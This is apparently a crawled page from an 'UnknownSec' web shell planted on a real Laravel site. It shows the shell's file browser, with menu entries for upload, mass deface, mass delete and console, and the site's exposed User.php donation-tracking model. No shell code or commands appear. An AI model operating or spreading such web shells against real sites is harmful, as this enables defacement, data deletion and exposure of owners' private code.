shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
mpc.brannanatkinson.com
/
app
/
Models
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
User.php
<?php namespace App\Models; // use Illuminate\Contracts\Auth\MustVerifyEmail; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Notifications\Notifiable; use Laravel\Fortify\TwoFactorAuthenticatable; use Laravel\Jetstream\HasProfilePhoto; use Laravel\Sanctum\HasApiTokens; use Spatie\Permission\Models\Permission; use Spatie\Permission\Traits\HasRoles; use Illuminate\Support\Facades\DB; class User extends Authenticatable { use HasApiTokens; use HasFactory; use HasProfilePhoto; use Notifiable; use TwoFactorAuthenticatable; use HasRoles; /** * The attributes that are mass assignable. * * @var array<int, string> */ protected $fillable = [ 'name', 'email', 'password', 'host_url', ]; /** * The attributes that should be hidden for serialization. * * @var array<int, string> */ protected $hidden = [ 'password', 'remember_token', 'two_factor_recovery_codes', 'two_factor_secret', ]; /** * The attributes that should be cast. * * @var array<string, string> */ protected $casts = [ 'email_verified_at' => 'datetime', ]; /** * The accessors to append to the model's array form. * * @var array<int, string> */ protected $appends = [ 'profile_photo_url', ]; public function UserMeta(){ return $this->hasOne(UserMeta::class); } public function items() { return $this->belongsToMany(Item::class)->withPivot(['item_quantity'])->withTimestamps(); } public function campaigns() { return $this->belongsToMany(Campaign::class)->orderBy('year'); } public function totalDonationAmount() { $sales = DB::table('users') ->join('gifts', 'users.id', '=', 'gifts.user_id') ->select('users.name as user_name', DB::raw('SUM(gifts.gift_total) as sales') ) ->groupBy('users.name') ->where('users.id', '=', $this->id ) ->where('gifts.created_at', '>', date('Y').'-01-01') ->first(); return $sales; } public function donatedItems() { $sales = DB::table('users') ->join('item_user', 'users.id', '=', 'item_user.user_id') ->join('items', 'items.id', '=', 'item_user.item_id') ->select('items.id', 'items.name as item_name', DB::raw('SUM(item_user.item_quantity) as quantity') ) ->groupBy('items.id') ->orderBy('items.id', 'ASC') ->where('users.id', '=', $this->id ) ->get(); return $sales; } }
© 2026 UnknownSec